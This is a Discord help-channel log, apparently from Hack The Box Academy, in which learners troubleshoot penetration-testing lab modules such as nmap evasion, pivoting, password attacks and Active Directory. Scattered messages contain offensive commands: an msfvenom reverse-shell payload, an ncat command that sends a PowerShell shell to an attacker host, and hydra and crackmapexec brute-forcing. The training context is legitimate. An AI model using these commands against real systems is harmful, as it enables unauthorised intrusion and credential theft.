modules

[rotund sphinx]

nmap wont give you the flag, try doing some manual digging into the services nmap told you about

[warm sail]

ok i will try thx

[rotund sphinx]

i did struggle with that one last night 😦

eventually i got it accidentally :p

[warm sail]

yeah its tricky

[rotund sphinx]

im now stuck again a few questions later on the IDS Evasion Medium Lab 😦

i feel like i have ran into issues way too early in the path 😦 but anyone have any hints for getting dns version in the Network Enumeration with NMAP - IDS/IPS Evasion - Medium

a couple of the commands i have tried have given me a "version" but it looks more like an application name than a version number (and submit didnt work with any variations of the value i got)
sudo nmap -v -sV --version-all -p 53 $TARGET -sSU --source-port 53
sudo nmap -v -sV --version-all -p 53 $TARGET -sSU --source-port 53 --disable-arp-ping --packet-trace
i also tried a couple of things without nmap that i found on google
dig CH TXT bind.version @$TARGET
dig +nsid CH TXT id.server @$TARGET
but neither of those gave anything useful in the response

i also tried to just nc / telnet to target port 53 but neither of those gave anything at all

i feel like my issue is knowing how to get a dns server version rather than evading the detection

[rustic sage]

Thx for the help!

[sinful olive]

Can I get any help about #PIVOTING, TUNNELING, AND PORT FORWARDING skills assessment?

[crude vessel]

Solved, but now I have another problem, that when I try to run powerview.ps1 or mimikatz.exe or rubeus, I have the following error message: "The file or directory is corrupted and unreadable", any idea how to continue in skills assessment active directory part 1? q2

[river skiff]

dm me, if you want.

[rustic sage]

hello quick question regarding Dynamic Port Forwarding with SSH and SOCKS tunneling

for the question 2, by having a pivot to the internal network

shouldn't the command be like this?:

[normal brook]

is anyone available to dm for the intro to networking module? I don't know what i'm doing wrong in the question that asks me to split a network into 4 subnets and submit the network address of the 3rd subnet

[cunning prairie]

in File Transfers/Catching Files over HTTP/S, does anyone have no problem with setting up nginx to accept PUT? I followed the instructions in the section using both Pwnbox and my Kali, but I do not seem to get it to work. Any suggestion? Thank you.

[warm sail]

Oh I ended up finding the flag. nmap gave me the results but I was not scanningt he right ports the first time which is why I didn't see it. I am wondering though how you got the flag from the service without nmap? I have some ideas but the commands I tried to run against that service to get the flag did not work?

[rotund sphinx]

unless im getting mixed up with a different challenge when i used netcat to connect to one of the ports it gave me the flag

[warm sail]

oh wait. i accidentally submit for the next section 🤦‍♂️

[rustic sage]

welp if File Uploads did anything, it was ingrain %20%2F into my brain🙂

[hoary tundra]

Orbit Challenge decode hint? 😮

[rustic sage]

if you’re talking about the Cyber Apocalypse…

1. Hints aren’t allowed
2. #1072163815296356382

If it’s a challenge on the main platform
#challenges

[warm sail]

Yeah I'm still not getting the flag . I connected to all the ports with nc ?

[quiet surge]

lol, yeah after many modules I might start correctly spelling inlanefrieght

[rotund sphinx]

managed to get past this at last, turned out that nmap was silently failing to bind to port 53 on my kali box and was ignoring the source port param 😦

[fathom pendant]

So if you use nc you need to be patient

I've had it take up to like 20 seconds to a minute to get the flag

[river skiff]

Also mind the IPS/IDS on the target.

[cerulean crow]

Hey are you still around? Mind if I P.M. you on this?

[warm sail]

Oh. Yeah that was it. Just had to wait a bit 🤦‍♂️

2 hours of suffering due to 1 min waiting

[worldly jewel]

So I'm working on the Meterpreter Tunneling & Port Forwarding module. Exercise is "by the book" so to speak. Got the meterpreter shell alright, got the internal network range, ran the meterpreter ping_sweep module and getting all these errors. I've not found anything on Google yet. I can do a ping sweep using the command line and get results just fine. Anyone know how to fix this issue with metasploit?

/usr/share/metasploit-framework/lib/rex/logging/log_dispatcher.rb:90:in synchronize': can't be called from trap context (ThreadError) from /usr/share/metasploit-framework/lib/rex/logging/log_dispatcher.rb:90:in log'
from /usr/share/metasploit-framework/lib/rex/logging/log_dispatcher.rb:172:in elog' from /usr/share/metasploit-framework/lib/rex/post/meterpreter/channel.rb:159:in rescue in block in finalize'
from /usr/share/metasploit-framework/lib/rex/post/meterpreter/channel.rb:156:in block in finalize' from /usr/share/metasploit-framework/lib/rex/post/meterpreter/packet.rb:410:in type?'
from /usr/share/metasploit-framework/lib/rex/post/meterpreter/packet.rb:599:in block in get_tlvs' from /usr/share/metasploit-framework/lib/rex/post/meterpreter/packet.rb:598:in each'
from /usr/share/metasploit-framework/lib/rex/post/meterpreter/packet.rb:598:in get_tlvs' from /usr/share/metasploit-framework/lib/rex/post/meterpreter/packet.rb:654:in get_tlv'
from /usr/share/metasploit-framework/lib/rex/post/meterpreter/packet.rb:668:in get_tlv_value' from /usr/share/metasploit-framework/lib/rex/post/meterpreter/packet.rb:1042:in method'
from /usr/share/metasploit-framework/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/tcp_server_channel.rb:37:in `request_handler'

[red current]

I'm on the medium lab in Password Attacks. I'm having trouble just getting into this machine to look around. I've tried hydra, metasploit with the auxiliary scanner for smb login, and crackmapexec. None of these have worked there is an ssh service and smb service running on this machine. Any hints would be very helpful.

[sly tapir]

have you tried using crackmapexec?

[red current]

Yes, and I get a strange response. I get the shares, but it says the password is just a single character. When I try to use it, it of course says it's wrong. It also happens to be the first character in the password list that I'm using. It's like crackmapexec isn't looking through the entire list and just saying the very first one at the top of the list is the correct password. I haven't seen it do that before.

[sly tapir]

Oops.. my bad man, i saw you said crackmap 😂…. That is strange, hmm

What does your command look like

[rustic sage]

can someone help me on AD Skill Assessment I???? I'm still on the first few steps bc the shell crashes every time an idk how to get around it so I'm looking for some advice... ||I already cracked the hash I just need help pivoting.. everything I try crashes the shell||

[red current]

crackmapexec smb IP_Address -u user_name (found using metasploit) -p mut_password.list --share

[fathom pendant]

That's because it has basic protection for users, it allows any user/password combo to 'see' it

[red current]

Got it, so I need to use something else to find the password of the user. I'll just have to keep digging.

[fathom pendant]

I can't remember what all I used

[opaque niche]

Can you provide more details?

[rustic sage]

can I dm?

[opaque niche]

nop

[rustic sage]

||I got the credentials for the first user but I can't hop... I've tried using Enter-PSSession, creating an RDP user, and even putting some pivoting tools so I don't have to work on this shell but everything crashes the shell or timesout... even a ping sweep to see where other shit is|| and please don't say restart the lab bc I've done that like 10 times now

@opaque niche

[opaque niche]

From what I understand, you have the credentials of s**_**, if you did the ping sweep correctly, you could pivot with netsh to the user

[rustic sage]

ping sweep crashes the rev shell... and when doing it from the webshell it errors out saying unexpected token '$(' even though I copy and paste it from the ping sweep section

[opaque niche]

find another way to ping sweep, maybe with metasploit or use another way to create the rev shell

[rustic sage]

||1..254 | % {"172.16.6.$($): $(Test-Connection -count 1 -comp 172.16.6.$($) -quiet)"}|| right?|| I have _ after the $ but discord is treating them as formats||

[opaque niche]

I think I used something similar, try another more stable rev shell

[rustic sage]

wdym more stable

I did a base64 powershell one from revshells

[opaque niche]

one that doesn't crash the ping sweep, I think I used nishang's powershell

[warm sail]

I didn't understand how decoy scan is working. If you send a fake return ip address in a request, how does it figure out to respond back to your original IP?

[rustic sage]

is it possible for a server with both imap and pop3 setup for each service to have it's own credentials or are they the same?

[versed lichen]

Hi, I need help. I created msfvenom payload msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.15.44 -f elf -o backupjob LPORT=8080 and I launched in on target machine, but it always returning this error ```
ubuntu@WEB01:~$ ./backupjob
Segmentation fault (core dumped)

Okay nvm, it'd be payload internal error. I used stageless payload this time and it works.

[hazy minnow]

I'm getting a really weird issue on the Password Attacks Module - Networks Services Questions. for the box, using nmap, I found NFS to be open. Not sure if this is the way in, but trying to mount NFS, gives the permissions to the mounted folder to user '4294967294' and I'm unable to access it locally. Been at this for a few hours, any idea what this is?? If this isn't the way in let me know and I'll abandon this but I quicky tried accessing other open ports anonymously and get ACCESS DENIED everywhere... EDIT: I went back to the Footprinting Module that covered this method and port and was able to access right away. The version over there was 4.2, the version for this module/question is 3 - would that have anything to do with it?

[weary hearth]

The difference here is easy to see. If you stop on the mountain and do not climb any further up, you will stay on the same spot. Look at the following mathematical example to see the difference in numbers:

(1.00)365 = 1.00
(1.01)365 = 37.7

Here we can already see the enormous difference, how much it makes, even if we only increase our performance by 1% per day. If we want to record our progress and write it down to look back and see how far we have already gone, you can create two lists.

List No. 1
On the first list, you write down the current date and everything you know about your desired topic with all your skills with an estimated scale of 1-10. Try to make it as detailed as possible. The more detailed it is, the clearer the difference will be for you to see later. As soon as you think this list is ready, put it down or save it in a way that you will have access to it even after one year.

List No. 2
The second list is written continuously. This means that as soon as you have familiarized yourself with a topic and you have learned something new for yourself, you will add it to this list. Try to learn every day, even if it takes only 10 minutes. If you want to do it more scientifically to get even better results, document the calendar weeks.

We will be amazed to see the progress we have made during this time. Above all, it will become evident to us why no one else but ourselves can tell if we have made good progress.

Questions
Answer the question(s) below to complete this Section and earn cubes!

• 10 To get the cubes back from this module, answer the following question. What is the difference between the two numbers of the learning progress mentioned above? Could anyone help me with this issue?

[fathom pendant]

What does the word difference mean... This is a reading comprehension question

[warm sail]

Ok I got the answer to this. The decoy scan sends your ip address amongst random ip addresses. So you are not totally anonymous, it's just harder to tell which one is the real ip. It has to send your real ip otherwsie there is no way to get a response back.

[rough sable]

hy where is the first welcome task's flag??

[warm sail]

a bit confused on the nmap hard box. is there another service i am supposed to be looking for, or is it the domain service but with more specific scan settings?

[grand harbor]

can someone give me a hint on password attacks and then the linux credentials hunting

nvm i tried harder

got it

[knotty quest]

??? there should be plenty of ports open, also don't forget UDP.

[river skiff]

Also mind IDS/IPS, which blocks the request at some time.

[lyric inlet]

Anyone for httpattacks ? 🙂

[ocean beacon]

Submit the FQDN of the nameserver for the "inlanefreight.htb" domain as the answer

how can do this prolem

problem*

I have tried nslookup and dig but no result

[fierce sparrow]

add inlanefreight.htb in /etc/hosts

[fierce sparrow]

then try this

[ocean beacon]

okk

[fierce sparrow]

@ocean beacon did it work then?

[ocean beacon]

how to overwrite the change in /etc/hosts

[ocean night]

sudo nano /etc/hosts (yeah, nano, suck it up)

Make the change, CTRL+X to exit / save

[ocean beacon]

not working

** server can't find inlanefreight.htb: NXDOMAIN
this is the result..

[ocean beacon]

can you help me with this above problem

[fierce sparrow]

did you also add the IP?

[ocean beacon]

yaa

[rustic sage]

anyone for skill assessment I on AD??? ||I can't pivot past the first box... I've tried basic powershell base64 rev shell from revshells, Nishang Reverse Shell, PowerCat, I even tried using Empire, but they all either don't work and the command fails or won't allow me to do a ping sweep or anything||

[sick mural]

hi all, I am trying to ssh to the target machine after dialing the openvpn from my kali machine but i am not able to get the resposne prompt for entering the password.

instead getting the following log in my ssh connection

i can ping and also do ssh

can someone help what i am doing wrong

[fathom pendant]

What module are you doing would help us help you better

debug1: Local version string SSH-2.0-OpenSSH_9.0p1 Debian-1+b2
debug1: Remote protocol version 2.0, remote software version OpenSSH_7.6p1 Ubuntu-4ubuntu0.3
debug1: compat_banner: match: OpenSSH_7.6p1 Ubuntu-4ubuntu0.3 pat OpenSSH_7.0*,OpenSSH_7.1*,OpenSSH_7.2*,OpenSSH_7.3*,OpenSSH_7.5*,OpenSSH_7.6*,OpenSSH_7.7* compat 0x04000002
debug1: Authenticating to 10.129.140.241:22 as 'htb-student'
debug1: load_hostkeys: fopen /root/.ssh/known_hosts2: No such file or directory
debug1: load_hostkeys: fopen /etc/ssh/ssh_known_hosts: No such file or directory
debug1: load_hostkeys: fopen /etc/ssh/ssh_known_hosts2: No such file or directory
debug1: SSH2_MSG_KEXINIT sent
debug1: SSH2_MSG_KEXINIT received
debug1: kex: algorithm: curve25519-sha256
debug1: kex: host key algorithm: ssh-ed25519
debug1: kex: server->client cipher: [e-mail] MAC: <implicit> compression: none
debug1: kex: client->server cipher: [e-mail] MAC: <implicit> compression: none
debug1: expecting SSH2_MSG_KEX_ECDH_REPLY
Connection closed by 10.129.140.241 port 22

Also putting your error log in a code block

You can't because your HTB account isn't linked on discord, so it will flag and delete the message

[sick mural]

Hi macielee,

go it resolved, its a bug in ubuntu machine

nic card

i used this command to fix it

ifconfig wlan0 mtu 1200

wlan0=tun0,

i am working on linux fundamentals

so wanted to connected to the remote machine via ssh through my own kali machine

[fathom pendant]

At least you resolved it

[ocean beacon]

** server can't find inlanefreight.htb: NXDOMAIN

[fathom pendant]

Standard MTU in most use cases should be 1500

[sick mural]

haha. Still pasting it here if someone needs it. 🙂

[ocean beacon]

how can I solve this problem

[fathom pendant]

Dig ns inlanefreight.htb @<spawned IP> if you have it in your /etc/hosts file you may get issues

Or

nslookup inlanefreight.htb <spawned-ip>

[ocean beacon]

let me try once

[fathom pendant]

I forget with nslookup if you need the @ for the ip

[ocean beacon]

i tried the nslookup but no result

[fathom pendant]

Again if you have the IP in your /etc/hosts you may run into issues

[ocean beacon]

I am not able find the nameserver

[grand harbor]

for an exercise i need to login with rdp but i get this error message

[fathom pendant]

Copy/paste the command you're trying @ocean beacon

[ocean beacon]

nslookup -type=NS inlanefreight.htb@10.129.42.195

[fathom pendant]

Try putting the password in quotes

[hazy minnow]

Need help with Password Attacks Module - Networks Services Questions. Is this just BF'ing until you find the right creds?

[fathom pendant]

Put a space between inlanefreight.htb and the @

[grand harbor]

which one

[grand harbor]

ye didnt work

[fathom pendant]

Try using a different RDP service then like Remmina

[grand harbor]

nvm i did work

[fathom pendant]

If you're using parrot it's preinstalled

It's reliability is much higher

[grand harbor]

used the wrong quotes

[fathom pendant]

Mood

[grand harbor]

htb is the biggest sanity checker

[hazy minnow]

@grand harbor the 4 questions each pertain to finding the username for a corresponding port (winrm, ssh, RDP) and BF'ing the password. But I don't even have a username. Am I just to BF that as well or do I need to do something with NFS port?

[grand harbor]

hmm

wait

let me check

[hazy minnow]

@grand harbor thanks!

[ocean beacon]

no result

[grand harbor]

did you download the recources??

[fathom pendant]

Is inlanefreight.htb in your /etc/hosts file? @ocean beacon

[ocean beacon]

yes

[fathom pendant]

Remove it from there and try again

[ocean beacon]

okk

[ocean beacon]

no result

[fathom pendant]

Im out of ideas then bc I don't recall having this many issues myself

What module is this for?

[grand harbor]

@ocean beacon are you connected to the vpn??

[fathom pendant]

^

[rustic sage]

could someone help me with pivoting in the AD skill assessment please

[ocean beacon]

no

[ocean night]

Heh

[grand harbor]

ye then it wont work

[fathom pendant]

You need to br connected

To access any spawned ips

[hazy minnow]

@grand harbor ugh omg no.. didn't even see it. Thanks!

[ocean beacon]

my college lan ..don't let connect to vpn

[ocean night]

Can you try the TCP option?

[fathom pendant]

use the pwnbox instance on the page

[ocean night]

That goes over port 443

[fathom pendant]

Or that

[ocean beacon]

I am using pwnbox

[fathom pendant]

Oh

[ocean night]

Aaand back to square one 😦

[fathom pendant]

Pwnbox is using the vpn

Btw

[ocean night]

Give me a sec, might be able to hop on and help

[ocean beacon]

no

I don't think so

[fathom pendant]

not having this fight with someone again about pwnbox and VPN

[ocean beacon]

what should do now

[grand harbor]

nw

[ocean beacon]

I*

[ocean night]

Hold on a sec @ocean beacon , I might be able to help

[ocean beacon]

okk

[fathom pendant]

^ it's probably something simple

And we're just silly

[bright abyss]

Hi from school

[ocean beacon]

might be

[ocean night]

Ok @ocean beacon, with your permission, I'd like to hop on to your Pwnbox instance and take a look. If you're ok with that, could you click on the "Interact" button, and then send me the link that opens in DM?

FYI I'm HTB staff, CTO/Director/etc, you can trust me

I know I know.. that's what a bad guy would say 😆

[ocean beacon]

i trust you

[fathom pendant]

Try the nslookup command again but without the @ in front of the IP

[ocean beacon]

should I just send the ip or somthing

[fathom pendant]

Probably best to dm that

[ocean night]

Where it says "My Workstation", there will be a button that says "Interact". Click on that, and then send me in DM the link that opens

[ocean beacon]

okk

[ocean night]

nslookup was missing an argument to widen the search outside of the scope of just A records

[grand harbor]

got damn this password attacks module is so huge

https://tenor.com/view/sanity-pills-ahs-violet-harmon-gif-26125501

[rustic sage]

could someone help with me pivoting in ad skill assessment?

[rustic sage]

please☹️ I've been stuck on this for two days now bc none of my techniques work

[dusty timber]

Sorry cant help you @rustic sage as I havent done it yet. But I recommend youtube, google some writeup, or make easier versions on tryhackme to learn what needs to be done, it has helped me loads with HTB.

You could also make a post in #1024429874246590575

[rustic sage]

is this not the place to ask about academy modules?

[dusty timber]

Yea but more people read community help

Just trying to save you some time 🙂

Especially now when I think a lot of people are busy with the CTF

[modern hawk]

Hey buddies. Anyone have issues with the Attacking Common Apps > Splunk Enum part? Didnt see anything in the community about it. put the ip and port that the splunk service is listening on, but keep giving me "connection was reset" message in the browser. Thanks.

[autumn pilot]

https?

[foggy light]

mysql and mssql no valid password found with f__

and cant fully brute force mysql as its blocked for many connection errors

[grand harbor]

anyone able to help me with this questionm

Use the LINUX01$ Kerberos ticket to read the flag found in \DC01\linux01. Submit the contents as your response (the flag starts with Us1nG_).

[faint rampart]

since you are root, unleash the katz lol ; )

[grand harbor]

no clue how to do it in linux

[foggy light]

Attacking Common Services - Easy

Found a user F.... using smtp-enum
tried brute forcing with resource password list to all the services

hydra -l 'f....' -P pws.list -f 10.129.16.179 smtp

[twilit cipher]

If anyone needs any help with (or wants to compare notes with) the AD Attacks Skills Assessment Part 1, I just finished it. But I had to do something unusual to get one of the tools to work. Would love to pick someone else's brain about that.

[grand harbor]

may help me with this?

Use the LINUX01$ Kerberos ticket to read the flag found in \DC01\linux01. Submit the contents as your response (the flag starts with Us1nG_).

its the linux password attacjs'

im hard stuck

or im thinking to difficult

[faint rampart]

you could go over the linux ptT section for some aid or feel free to send a DM

[grand harbor]

i am in the linux ptd section

and i have done all steps ( i think)

but cant find the kerberos ticket

for linux01

[faint rampart]

dont overthink, just go over the last parts of the section and note things only the root or admin users can do

[grand harbor]

i got it..

[river skiff]

I will give you a hint, when I'm back on my machine 🙂

[dull thunder]

anyone interested in giving a hint on how to upgrade my shell for the ATTACKING COMMON SERVICES - EASY. ?

[foggy light]

thank you.. I have finished medium and hard. this is the only one left

[dull thunder]

skill assessment

[foggy light]

@dull thunder can i dm you?

[dull thunder]

please do

[wild oar]

hello i have a question about the skill assessment Web Services & API Attacks 🙂

[warm sail]

how does spoof source ip of scan work? in the examples in the module, they give some ip addresses that don't correspond to my actual vm or the target vm so i have no idea what all the IP's they are putting in are

They way they show it in the example is sudo nmap 10.129.23.11 -n -Pn -p 445 -O -S 10.129.23.200 -e tun0

so that looks like be sudo nmap <target ip> ... -S <some ip on target network> but i get 0 hosts up as result?

[rustic sage]

hi all, I want to discuss about the solution of** Windows Privilege Escalation Skills Assessment - Part I**. I finished the 4 questions but want to know if is this the correct way as it was a bit weird. Please DM me. Thanks

[analog tendon]

yea this is not the area for this

[ocean night]

....

[river skiff]

man, wtf ...

[ocean night]

So creepy

Just.. just no

[vale crescent]

Oh k

Is there any thread that I can get help?

Sry about that

[ocean night]

Somewhere that's not here

[river skiff]

https://tenor.com/view/facepalm-gif-24250855

[ocean night]

Or maybe, just don't

[thick relic]

Hello, i have a question regarding the introduction module. I have an interactive section were i have a docker target and i have to open firefox and paste the target url and answer to the following question: What is the proof text displayed in the Target website you browsed? The problem is that the site doesn't work...

[autumn pilot]

you need to include the port

that was given, when you spawned the target

[thick relic]

well i included the port

[autumn pilot]

feel free to reset it

[thick relic]

i already done that multiple times

still have the same problem

[autumn pilot]

what is the targets address

[thick relic]

this also happens when i access other sites, like google.com

178.62.6.17:32572

[autumn pilot]

so the question that you need to ask yourself is - do you have internet in your vm

[thick relic]

yes, i opened the terminal, and pinged 8.8.8.8 and it works

to other sites however it doesn't work

[autumn pilot]

check if you have foxyproxy enabled to proxy traffic to burp or other apps

[thick relic]

it's disabled

[ocean night]

If you reset it, does the IP / Port actually change? Any error come up?

Because I can't reach that container either

[thick relic]

yes it does change

[ocean night]

Ok, what is it now?

[thick relic]

still time out

[ocean night]

Right, but what's the IP / Port?

[thick relic]

178.62.6.17:32572

[ocean night]

That's the same..

[autumn pilot]

Use this IP - 68.183.37.10:30313

[thick relic]

i spawned another one

should i use it?

[thick relic]

or this?

[autumn pilot]

whichever loads

[thick relic]

it works now

thx

[lunar lily]

Hi! I have a (maybe dumb) question. I'm going through the "Getting Started" Module, i.e. "Nibbles- Web Footprinting" section. Very early on, they find a /nibbleblog/ directory. Shouldn't it be also listed via gobuster against the root of the web app? (spoil : it's not but I don't get why)

[autumn pilot]

if that word is in the wordlist, yeah

[rustic sage]

helP!!

[opaque niche]

<@&861185840277487616>

[foggy light]

+rep @river skiff

[rustic sage]

bruh

[rustic sage]

roblox moderater detected

[autumn pilot]

thanks

[little whale]

User 834700673362034742 has been banned permanently.

[ocean night]

😮

[warm sail]

what happen

[uncut crest]

In web attacks, advanced file disclosure, I've obtained the flag using the error method but I've floundered for a day trying to get the CDATA method to work. Anyone willing to dm me a nudge?

[tidal mango]

In the Attacking Enterprise Network Module, page 3 External Information Gathering-- I am trying to follow along and using ffuf I am getting responses I don't understand. Using the correct IP of the lab I ran this curl -s -I http://10.129.203.101 -H "HOST: defnotvalid.inlanefreight.local" | grep "Content-Length:" to get the length of an invalid vhost. from there I run ffuf -w namelist.txt:FUZZ -u http://10.129.203.101/ -H 'Host:FUZZ.inlanefreight.local' -fs 15157 Doing this I got thousand of status 200 responses most of which if I add to my /etc/hosts file it just takes me to the home page for inlanefreight.local. I feel like I am missing something here to do a proper filter on ffuf. If that makes any sense and someone could help me see what I am doing wrong, it would be greatly appreciated.

[sly tapir]

is domain=. a wild card for domain? what does the dot signify

[tidal mango]

I don't think I am understanding fully what your asking, I did notice most of those responses have a size of 0 so I added -fs 15157,0 to filter those out, re-running it now.

[jaunty vigil]

What is the ObjectAceType of the first right that the forend user has over the GPO Management Group? in AD module...

[sly tapir]

in the attacking common services module, it talks about using a credential file... and in the file it has domain=.

[jaunty vigil]

I tried the classic ```$sid = Convert-NameToSid "forend"

Then
Get-DomainObjectACL -ResolveGUIDs -Identify * | ? {$_.SecurityIdentifier -eq $sid} -Verbose```

this doesn't show anything r egarding the GPO group

[finite marsh]

?

idkwym

[jaunty vigil]

.

@sterile hawk

[sly tapir]

haha my bad... i think we posted at the same time so you thought i was answering your question

[sterile hawk]

@finite marsh This isn't for sharing hacks/cheats

[tidal mango]

👍

[acoustic owl]

#cwes message

[sly tapir]

i just finished the Passwords Attack Hard lab, and I have been trying to clear this mount off but it will not disappear...any help would be appreciated...everything that i did to create the folder, etc. i have removed...i even tried umounting the loop0p2 but nothing...the drive is: 117 MB Encrypted

[tidal mango]

did you add anything into /etc/fstab to mount it?

[sly tapir]

hmm let me check

[sly tapir]

i just see this

/swapfile none swap defaults 0 0```

[tidal mango]

did you try a reboot?

[sly tapir]

yes

[tidal mango]

ohh maybe because it was encrypted?

[sly tapir]

ayyeee... i dont know...i just restarted it again and its gone...weird..

[tidal mango]

good enough. I had to mount that one in windows, just curious how did you manage to mount it in linux?

[sly tapir]

i had to google it .... i used dislocker

[tidal mango]

good to know, thanks!

[sly tapir]

by far that module was the hardest i have encountered with HTB academy

[tidal mango]

it uses a different file than /etc/fstab for encyption, i am drawing a blank on which file however... /etc/cyptab or something like that.

[tidal mango]

Yeah that one kicked my ass for sure

[sly tapir]

i had to go back through it twice just to write detailed steps so i would know haha

[tidal mango]

it was /etc/crypttab for encrypted mounts, FYI

[analog tendon]

has anyone run into an issue where with firefox where youll type in http://IP and it redirects to https://IP all of the sudden?

cant access the assessment page because of this.

ive changed all settings i could find to turn that off. but it didnt seem to take affect

[opal jewel]

Not that I recall@analog tendon i could have swore I saw a setting regarding automatic http/s when url is typed

[analog tendon]

yea i found that setting. it was switched to false

[opal jewel]

I was trying to figure out why my firefox doesnt assume http when i browse to anything.htb. It just goes to google

[analog tendon]

idk it just magically stopped redirecting now

[shadow canopy]

For burpsuite and htb vhosts ?

[analog tendon]

for just about anywebsite i put into firefox

[shadow canopy]

i found this solution previously somewhere which worked in firefox
about:config
dom.security.https_first_pbm false
dom.security.https_only_mode_pbm false

after that all .htb works and doesn't upgrade to https error

[analog tendon]

oh i wasnt doing any .htb sites. i was just trying to get to the IP site. XSS assessment page but it wouldnt let me connect because it would always redirect to https

[hazy grotto]

Did you solve this?

[rustic sage]

Anyone help me with ad skill assessment 1? ||I uploaded a ncat from nmap website on the site but every type I execute "C:\ncat.exe" -e powershell [attack] [port] it results in a "Server Error in '/' Application.||

[fathom pendant]

Sometimes redirect forces it to the x.htb site which may also "upgrade" it to https

[restive steppe]

@rancid mulch @grand harbor I'm stuck on this question: "What is the admin email address?" from the IMAP / POP3 footprinting section? I found one email address but it is incorrect. I tried enumerating ports 110,143,993 and 995 and using nmap discovery script and -sC. Any hints?

[floral crow]

need read the email. the content in the module material covers this

[fathom pendant]

Why are you pinging random people?

[restive steppe]

They asked the same question recently and figured it out so I decided to ping them for help

[fathom pendant]

That's not proper etiquette; in discord you can reply to a message:: you can just reply to their message with the question and say "hey did you get this figured out yet?". Not to mention - according to the timestamp that was a week ago lol and Alaynn's question was 2 and a half a weeks ago... so best to just ask and not worry.

But something that will help you with anything regarding smtp/imap/pop3 is to use an email client to login with any credentials you find so you don't even need to remember the syntax for commands :)

[hazy grotto]

You ever get this answered?

[restive steppe]

ok

[restive steppe]

all right, thanks i'll try that 👍🏻

[calm tapir]

Footprinting DNS Question 5 referring to X.X.X.203. I cannot find the FQDN for this IP. I’ve done a zone transfer on the subdomain and all of its subdomains but cannot not find this IP at all. Any help?

[fathom pendant]

subdomains of subdomains; also you might need to try a more fierce wordlist for that one

[pine dagger]

No. 😦

[fathom pendant]

F

[midnight prawn]

Hey there. I'm working on the wireless section of the hashcat module and am a bit confused. When you use cap2hccapx to attcked the MIC, it seems to copy the 4-way handshake into the output file, not output hashes for hashcat to crack. Am I missing something? The section seems to go straight to using hashcat without actually creating a file with hashes.

[calm tapir]

No joy on the domain or subdomain

[fathom pendant]

use something like dnsenum

but it is only a t2 subdomain t1 being xxx.inlanefreight.htb

so you don't have to dive deep

[calm tapir]

Got it thanks for the tip

[fathom pendant]

if you are doing manual: ||d*.inlanefeight.htb|| is an additional hint :)

[vital jungle]

So I'm totally new. I'm trying to get through "Starting Point". I have connected to the vpn and everything went green. However, back on the tasks screen it still says I have completed 0 tasks and can't move onto the 2nd task. Not sure what I'm doing wrong here.

[fathom pendant]

Are you referring to the #starting-point set of boxes on app.hackthebox.com?

:)

[vital jungle]

yes

[fathom pendant]

then that channel is where you should look; this is for modules on the academy.hackthebox.com site :)

[opaque niche]

https://tenor.com/view/ban-button-keyboard-press-the-ban-button-gif-16387934

[fathom pendant]

<@&861185840277487616>

[novel matrix]

already on it

[sterile hawk]

Ty

[fathom pendant]

poggies

:)

[surreal rain]

thanks

[fathom pendant]

looks like they hit all the academy tabs aka the noob trap channels

[fathom pendant]

time to spend 12+ hours redoing my notes up until AD enumeration because I got lazy :)

[rustic sage]

@fathom pendant I dm you

[fathom pendant]

I'm good dude it's mostly hyperbole

[delicate edge]

I'm new to hack the box and I have a question. As i go through the challenges should I studying along with the academy or something? I don't know what I should be doing. For example I don't know how to access the WorkShare disk in the SMB exercise.

[fathom pendant]

If you're talking about the challenges on the main site (app.hackthebox.com) #challenges is the place to ask and look for your info

[delicate edge]

alright thanks

[midnight prawn]

Any chance anyone knows what I'm talking about?

[worn forge]

Hey, can someone help me pls, AD Enumeration & Attacks - Skills Assessment Part II
Submit the contents of the flag.txt file on the Administrator Desktop on the MS01 host.
I ran Lazagne and I got some hashes, but I cant crack it, so I tried a pass the hash but it didn't work

[inland smelt]

No I'm not there yet. But I understand the 'Is anyone listening' scenario. Good luck.

[midnight prawn]

Thanks! I completed the rest of the module, including the skill assessment, so feel free to PM me if you're working on the module and need help. This account is only for HTB, but I try to check it.

[iron plaza]

Would anyone be kind enough to tell me why a reverse shell connection on netcat drop after it was connected?
For further info I am in the Windows Privilege Escalation - Weak Permissions and replaced one of the exe file, however, upon triggering the file it connects to my listener but then drops shortly after

[ancient spire]

There is a hidden webpage at http://faculty.academy.htb:PORT/courses/linux-security.php7
Why does this command identify it:
ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -u http://faculty.academy.htb:32314/courses/FUZZ.php7 -v -ic
But this command doesn't:
ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -u http://faculty.academy.htb:32314/courses/FUZZ -e php7 -v -ic

Shouldn't they do the same thing?

[primal silo]

you're adding .php7 in the end.. if the file name is for example index.php7 then only when u can provide the correct extension you will get it in your output..

[ancient spire]

But the second command has the -e flag with the php7 extension specified, so shouldn't the second command at some point try /courses/linux-security.php7 as well?

[primal silo]

you have to use .php7 with -e flag

don't forget the period

[ancient spire]

ahhh thank you

[grand harbor]

Did you solve it??

[frosty mortar]

Yo @everyone🙋, im new here

[fathom pendant]

#rules and #welcome :) this channel is about discussing the modules found on https://academy.hackthebox.com ; in order to access other channels that you won't be able to see right now you can follow the instructions in #welcome to do so

if you don't know where to start at all you can always try

sorry bot broken

I was trying to have it do a thing

https://www.hackthebox.com/blog/learn-to-hack-beginners-bible

[fathom fjord]

I don't mean to bother anyone with some "tell me how to start hacking", i'm already doing that right now and putting the work in but I am stumped right now and don't know where to ask this, in particular which discord server however I'll ask here in the chance that maybe somebody could help me

so basically I'm trying to use proxychains on kali but regardless of what I do, the connection keeps timing out

I've tried plenty of different free proxies

[fathom pendant]

Is this related to an academy module?

[fathom fjord]

perhaps this may not be the right discord server so excuse me on that, if somebody could lend me a hand and direct me to a proper discord server for this type of stuff

no this is kali vm

[fathom pendant]

I'd recommend reading #rules and #welcome or asking your question in #1024429874246590575

this channel is for questions regarding the modules found at https://academy.hackthebox.com

[fathom fjord]

oh okay

I'd like to talk to a person in real time about this stuff considering that the community help channel looks like a forum, was trying to find a particular general hacking discord server with a chat that involves guidance from others on particular issues, do you know of any discord servers that fit that purpose? @fathom pendant

[fathom pendant]

No; especially as I do not know the purpose of your query (legal or illegal, sanctioned, etc)

[fathom fjord]

I'm trying to play with proxychains as a form of privacy whenever I browse anything

seeing how it works

nothing illegal

[fathom pendant]

and yes #1024429874246590575 is a forum-space and is reliant on the kindness of others - you may get help, you may not. I do not know of any servers that are "real-time" assistance to issues

that aren't dedicated servers for a specific service

[fathom fjord]

